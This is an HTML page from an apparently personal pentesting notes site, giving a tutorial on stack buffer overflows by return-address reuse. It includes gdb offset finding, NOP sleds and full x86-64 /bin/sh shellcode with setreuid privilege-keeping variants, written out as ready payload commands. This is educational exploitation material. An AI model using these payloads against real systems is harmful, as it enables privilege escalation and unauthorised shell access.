2022-09-02 09:05:59 +02:00
<!doctype html>
< html lang = "en" >
< center >
< head >
< script src = "https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js" > < / script >
2022-09-09 15:41:05 +02:00
< script src = "https://code.jquery.com/jquery-3.5.1.min.js" > < / script >
< script type = "text/javascript" src = "/static/js/auto-complete.js" > < / script >
< script type = "text/javascript" src = "/static/js/lunr.min.js" > < / script >
< script type = "text/javascript" src = "/static/js/search.js" > < / script >
2022-09-02 09:05:59 +02:00
< link rel = "stylesheet" href = "/static/stylesheet.css" >
< link rel = "stylesheet" href = "/static/auto-complete.css" >
< br >
2022-09-09 15:41:05 +02:00
< title > The Real Hugo< / title >
2022-09-02 09:05:59 +02:00
< meta name = "viewport" content = "width=device-width, initial-scale=1" >
< / head >
< body >
<!-- topmenu -->
< div class = "menu" >
2022-09-09 15:41:05 +02:00
< a href = "/" style = "text-decoration:none" > Husk< / a >
2022-09-02 09:05:59 +02:00
< / div >
< div class = "search-container" >
< label for = "search-by" > < i class = "fas fa-search" > < / i > < / label >
< input data-search-input = "" id = "search-by" type = "search" placeholder = "Search..." autocomplete = "off" >
<!-- button type="submit"><i class="search"></i>🔍</button> -->
< span data-search-clear = "" > < i class = "fas fa-times" > < / i > < / span >
< / div >
< / div >
< div class = "menu" >
< / div >
<!-- br><br -->
< / center >
< p > < / p >
< div class = "columns" >
<!-- Sidebar -->
< div class = "column column-1" >
2022-09-09 15:41:05 +02:00
< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); return false;" > < summary > Snmp< / summary > < ul > < li > < a href = "/enumeration/docs/snmp/onesixtyone.html" > onesixtyone< / a > < / li > < li > < a href = "/enumeration/docs/snmp/snmpcheck.html" > snmpcheck< / a > < / li > < / ul > < / details > < li > < a href = "/enumeration/docs/websites.html" > websites< / a > < / li > < li > < a href = "/enumeration/docs/wfuzz.html" > wfuzz< / a > < / li > < li > < a href = "/enumeration/docs/wpscan.html" > wpscan< / a > < / li > < / ul > < / details > < details id = network_scanners ontoggle = "linkClick(this); return false;" > < summary > Network_scanners< / summary > < ul > < / ul > < / details > < details id = windows ontoggle = "linkClick(this); return false;" > < summary > Windows< / summary > < ul > < li > < a href = "/enumeration/windows/bloodhound.html" > bloodhound< / a > < / li > < li > < a href = "/enumeration/windows/event_log.html" > event_log< / a > < / li > < li > < a href = "/enumeration/windows/manual_enum.html" > manual_enum< / a > < / li > < li > < a href = "/enumeration/windows/powershell.html" > powershell< / a > < / li > < li > < a href = "/enumeration/windows/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/windows/sysinternals.html" > sysinternals< / a > < / li > < li > < a href = "/enumeration/windows/sysmon.html" > sysmon< / a > < / li > < li > < a href = "/enumeration/windows/vss.html" > vss< / a > < / li > < / ul > < / details > < / ul > < / details > < details id = exploit ontoggle = "linkClick(this); return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
2022-09-02 09:05:59 +02:00
< / ul >
< / div >
< div class = "column column-2" >
< span class = "body" >
< style > p r e { l i n e - h e i g h t : 1 2 5 % ; }
td.linenos .normal { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
td.linenos .special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos.special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
.codehilite .hll { background-color: #2C3B41 }
.codehilite .c { color: #546E7A; font-style: italic } /* Comment */
.codehilite .err { color: #FF5370 } /* Error */
.codehilite .esc { color: #89DDFF } /* Escape */
.codehilite .g { color: #EEFFFF } /* Generic */
.codehilite .k { color: #BB80B3 } /* Keyword */
.codehilite .l { color: #C3E88D } /* Literal */
.codehilite .n { color: #EEFFFF } /* Name */
.codehilite .o { color: #89DDFF } /* Operator */
.codehilite .p { color: #89DDFF } /* Punctuation */
.codehilite .ch { color: #546E7A; font-style: italic } /* Comment.Hashbang */
.codehilite .cm { color: #546E7A; font-style: italic } /* Comment.Multiline */
.codehilite .cp { color: #546E7A; font-style: italic } /* Comment.Preproc */
.codehilite .cpf { color: #546E7A; font-style: italic } /* Comment.PreprocFile */
.codehilite .c1 { color: #546E7A; font-style: italic } /* Comment.Single */
.codehilite .cs { color: #546E7A; font-style: italic } /* Comment.Special */
.codehilite .gd { color: #FF5370 } /* Generic.Deleted */
.codehilite .ge { color: #89DDFF } /* Generic.Emph */
.codehilite .gr { color: #FF5370 } /* Generic.Error */
.codehilite .gh { color: #C3E88D } /* Generic.Heading */
.codehilite .gi { color: #C3E88D } /* Generic.Inserted */
.codehilite .go { color: #546E7A } /* Generic.Output */
.codehilite .gp { color: #FFCB6B } /* Generic.Prompt */
.codehilite .gs { color: #FF5370 } /* Generic.Strong */
.codehilite .gu { color: #89DDFF } /* Generic.Subheading */
.codehilite .gt { color: #FF5370 } /* Generic.Traceback */
.codehilite .kc { color: #89DDFF } /* Keyword.Constant */
.codehilite .kd { color: #BB80B3 } /* Keyword.Declaration */
.codehilite .kn { color: #89DDFF; font-style: italic } /* Keyword.Namespace */
.codehilite .kp { color: #89DDFF } /* Keyword.Pseudo */
.codehilite .kr { color: #BB80B3 } /* Keyword.Reserved */
.codehilite .kt { color: #BB80B3 } /* Keyword.Type */
.codehilite .ld { color: #C3E88D } /* Literal.Date */
.codehilite .m { color: #F78C6C } /* Literal.Number */
.codehilite .s { color: #C3E88D } /* Literal.String */
.codehilite .na { color: #BB80B3 } /* Name.Attribute */
.codehilite .nb { color: #82AAFF } /* Name.Builtin */
.codehilite .nc { color: #FFCB6B } /* Name.Class */
.codehilite .no { color: #EEFFFF } /* Name.Constant */
.codehilite .nd { color: #82AAFF } /* Name.Decorator */
.codehilite .ni { color: #89DDFF } /* Name.Entity */
.codehilite .ne { color: #FFCB6B } /* Name.Exception */
.codehilite .nf { color: #82AAFF } /* Name.Function */
.codehilite .nl { color: #82AAFF } /* Name.Label */
.codehilite .nn { color: #FFCB6B } /* Name.Namespace */
.codehilite .nx { color: #EEFFFF } /* Name.Other */
.codehilite .py { color: #FFCB6B } /* Name.Property */
.codehilite .nt { color: #FF5370 } /* Name.Tag */
.codehilite .nv { color: #89DDFF } /* Name.Variable */
.codehilite .ow { color: #89DDFF; font-style: italic } /* Operator.Word */
.codehilite .w { color: #EEFFFF } /* Text.Whitespace */
.codehilite .mb { color: #F78C6C } /* Literal.Number.Bin */
.codehilite .mf { color: #F78C6C } /* Literal.Number.Float */
.codehilite .mh { color: #F78C6C } /* Literal.Number.Hex */
.codehilite .mi { color: #F78C6C } /* Literal.Number.Integer */
.codehilite .mo { color: #F78C6C } /* Literal.Number.Oct */
.codehilite .sa { color: #BB80B3 } /* Literal.String.Affix */
.codehilite .sb { color: #C3E88D } /* Literal.String.Backtick */
.codehilite .sc { color: #C3E88D } /* Literal.String.Char */
.codehilite .dl { color: #EEFFFF } /* Literal.String.Delimiter */
.codehilite .sd { color: #546E7A; font-style: italic } /* Literal.String.Doc */
.codehilite .s2 { color: #C3E88D } /* Literal.String.Double */
.codehilite .se { color: #EEFFFF } /* Literal.String.Escape */
.codehilite .sh { color: #C3E88D } /* Literal.String.Heredoc */
.codehilite .si { color: #89DDFF } /* Literal.String.Interpol */
.codehilite .sx { color: #C3E88D } /* Literal.String.Other */
.codehilite .sr { color: #89DDFF } /* Literal.String.Regex */
.codehilite .s1 { color: #C3E88D } /* Literal.String.Single */
.codehilite .ss { color: #89DDFF } /* Literal.String.Symbol */
.codehilite .bp { color: #89DDFF } /* Name.Builtin.Pseudo */
.codehilite .fm { color: #82AAFF } /* Name.Function.Magic */
.codehilite .vc { color: #89DDFF } /* Name.Variable.Class */
.codehilite .vg { color: #89DDFF } /* Name.Variable.Global */
.codehilite .vi { color: #89DDFF } /* Name.Variable.Instance */
.codehilite .vm { color: #82AAFF } /* Name.Variable.Magic */
.codehilite .il { color: #F78C6C } /* Literal.Number.Integer.Long */< / style >
< div class = "column column-3" >
< ul >
< li > < a href = "#return-address-reuse" > Return Address reuse< / a > < ul >
< li > < a href = "#via-shellcode-an-examples" > via Shellcode, an examples< / a > < / li >
< li > < a href = "#finding-offset" > Finding Offset< / a > < ul >
< li > < a href = "#via-gdb-segfault-output" > via gdb segfault output< / a > < / li >
< li > < a href = "#via-metasploit" > via metasploit< / a > < / li >
< / ul >
< / li >
< li > < a href = "#crafting-payload" > Crafting Payload< / a > < / li >
< li > < a href = "#nopsled" > NopSled< / a > < / li >
< li > < a href = "#setuid-and-setreuid" > setuid() and setreuid()< / a > < ul >
< li > < a href = "#setreuid-in-assembler" > setreuid() in assembler< / a > < / li >
< li > < a href = "#setreuid-in-shellcode-using-pwntools" > setreuid() in shellcode using pwntools< / a > < / li >
< / ul >
< / li >
< / ul >
< / li >
< / ul >
< / div >
< h1 id = "return-address-reuse" > Return Address reuse< / h1 >
< h2 id = "via-shellcode-an-examples" > via Shellcode, an examples< / h2 >
< ul >
< li > Find out the address of the start of the buffer and the start address of the return address< / li >
< li > Calculate the difference between these addresses so you know how much data to enter to overflow< / li >
< li >
< p > Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address< / p >
< / li >
< li >
< p > Plus NOPsled (sometimes xargs is needed in front of the app call)< / p >
< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "n" > python< / span > < span class = "o" > -< / span > < span class = "n" > c< / span > < span class = "s2" > " print(' < / span > < span class = "se" > \x90< / span > < span class = "s2" > ' * 30 +' < / span > < span class = "se" > \x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05< / span > < span class = "s2" > ' + ' < / span > < span class = "se" > \x41< / span > < span class = "s2" > ' * 60 + ' < / span > < span class = "se" > \xef\xbe\xad\xde< / span > < span class = "s2" > ' )" < / span > < span class = "o" > |< / span > < span class = "n" > xargs< / span > < span class = "o" > ./< / span > < span class = "n" > buffer< / span > < span class = "o" > -< / span > < span class = "n" > overflow< / span >
< / code > < / pre > < / div >
< h2 id = "finding-offset" > Finding Offset< / h2 >
< h3 id = "via-gdb-segfault-output" > via gdb segfault output< / h3 >
< ul >
< li > 64 bit addresses use 6 out of 8 byte for addresses.< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > gdb ./application
run < span class = "k" > $(< / span > python -c < span class = "s2" > " print(' \x41' * 180)" < / span > < span class = "k" > )< / span >
< / code > < / pre > < / div >
< ul >
< li > Return address hit completely when 6 bytes are filled.< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 < span class = "k" > in< / span > copy_arg < span class = "o" > ()< / span >
< / code > < / pre > < / div >
< ul >
< li > Buffer = measured_length - (< code > $rbp< / code > + 6 bytes return address)< / li >
< / ul >
< h3 id = "via-metasploit" > via metasploit< / h3 >
< div class = "codehilite" > < pre > < span > < / span > < code > /opt/metasploit/tools/exploit/pattern_create.rb -l < span class = "m" > 180< / span >
< / code > < / pre > < / div >
< ul >
< li > Looking for < code > rbp< / code > Content in front of the return address to measure offset< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "o" > (< / span > gdb< span class = "o" > )< / span > i r
< span class = "o" > [< / span > ...< span class = "o" > ]< / span >
rbp 0x< rbpAddress> 0x< rbpConent>
< span class = "o" > [< / span > ...< span class = "o" > ]< / span >
< / code > < / pre > < / div >
< ul >
< li > Measure offset< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > pt/metasploit/tools/exploit/pattern_offset -l < span class = "m" > 180< / span > -q < rbpContent>
< / code > < / pre > < / div >
< h2 id = "crafting-payload" > Crafting Payload< / h2 >
< ul >
< li > Contains Junk/NOPslice + shellcode + Junk over rbp + return address< / li >
< li > Inside gdb< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > run < span class = "k" > $(< / span > python -c < span class = "s2" > " print(' A' * 100 + < shellcode> + ' A' * 12 + ' B' * 6)" < / span > < span class = "k" > )< / span >
< / code > < / pre > < / div >
< ul >
< li > Check actual stack< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "o" > (< / span > gdb< span class = "o" > )< / span > x/100x < span class = "nv" > $rsp< / span > -200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
< span class = "o" > [< / span > ...< span class = "o" > ]< / span >
< / code > < / pre > < / div >
< ul >
< li > Shellcode starts at < code > 0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4< / code > .< / li >
< / ul >
< h2 id = "nopsled" > NopSled< / h2 >
< ul >
< li > Prepend < strong > nopsled< / strong > instead of < code > A< / code > and pick an address inside as the future return address, for example < code > 0x7fffffffe2a8< / code > .< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "o" > (< / span > gdb< span class = "o" > )< / span > x/100x < span class = "nv" > $rsp< / span > -200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe64d 0x00007fff 0x90909090 0x90909090
0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x48583b6a
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
< / code > < / pre > < / div >
< ul >
< li > Convert return address to little endian < code > 0x7fffffffe2a8< / code > -> < code > \xa8\xe2\xff\xff\xff\x7f< / code > and put it inside the return address< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > run < span class = "k" > $(< / span > python -c < span class = "s2" > " print(' \x90' *100+' \x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' +' A' *12+' \xa8\xe2\xff\xff\xff\x7f' )" < / span > < span class = "k" > )< / span >
< / code > < / pre > < / div >
< h2 id = "setuid-and-setreuid" > setuid() and setreuid()< / h2 >
< ul >
< li > Shellcode needs < code > setuid(0)< / code > for effective root uid or the equivalent id of the account needed.< / li >
< li > < code > /bin/sh< / code > checks real uid not effective uid< / li >
< li > ./shellcodes/setuid_shell.as< / li >
< / ul >
< h3 id = "setreuid-in-assembler" > setreuid() in assembler< / h3 >
< ul >
< li > < a href = "https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/" > Linux Syscall Table< / a > < / li >
< li > < code > setreuid(1002,1002)< / code > sets the < strong > real< / strong > uid inside the shell to 1002.< / li >
< li > < code > setreuid()< / code > has < code > rax< / code > number < code > \x71< / code > (< code > 113< / code > dec). Args are stored in < code > rdi< / code > and < code > rsi< / code > .< / li >
< li > ./shellcode/setreuid_shell.as < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "s2" > " \x48\x31\xFF\x48\x31\xC0\x48\x31\xF6\x66\xBE\xEA\x03\x66\xBF\xEA\x03\xB0\x71\x0F\x05\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05" < / span >
< / code > < / pre > < / div >
< ul >
< li > Convert to hex output via < a href = "https://defuse.ca/online-x86-assembler.htm" > Defuse< / a > < / li >
< / ul >
< h3 id = "setreuid-in-shellcode-using-pwntools" > setreuid() in shellcode using pwntools< / h3 >
< ul >
< li > Shellcraft builds a shellcode containing < code > setreuid()< / code > , without any parameter given the real uid to the file owner.< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > * < span class = "o" > [< / span > Linux Syscall Table< span class = "o" > ](< / span > https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/< span class = "o" > )< / span >
shellcraft -f d amd64.linux.setreuid
< / code > < / pre > < / div >
< ul >
< li > The uid can be set as an argument < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > shellcraft -f d amd64.linux.setreuid < uid>
< / code > < / pre > < / div >
< ul >
< li > Prepend this in front of the existing shellcode like this< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > run < span class = "k" > $(< / span > python -c < span class = "s2" > " print(' \x90' * 99 + ' \x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + ' B' * 8 + ' \x88\xe2\xff\xff\xff\x7f' )" < / span > < span class = "k" > )< / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Where the existing shellcode is the following
```sh
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
```
* Setreuid part is the following
```sh
\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05
```
< / code > < / pre > < / div >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
< / div >
< script >
2022-09-09 15:41:05 +02:00
function linkClick(obj) {
2022-09-02 09:05:59 +02:00
if (obj.open) {
2022-09-09 15:41:05 +02:00
//console.log('open');
2022-09-02 09:05:59 +02:00
if (sessionStorage.getItem(obj.id) & & !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
2022-09-09 15:41:05 +02:00
sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
2022-09-02 09:05:59 +02:00
} else {
2022-09-09 15:41:05 +02:00
//console.log('closed');
sessionStorage.removeItem(obj.id);
}
}
2022-09-02 09:05:59 +02:00
2022-09-09 15:41:05 +02:00
let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length ; i + + ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
2022-09-02 09:05:59 +02:00
< / script >
2022-09-09 15:41:05 +02:00
< script async src = "https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type = "text/javascript" > < / script >
2022-09-02 09:05:59 +02:00
< script type = "text/x-mathjax-config" >
2022-09-09 15:41:05 +02:00
MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
< / script >
2022-09-02 09:05:59 +02:00
< / body >
< / html >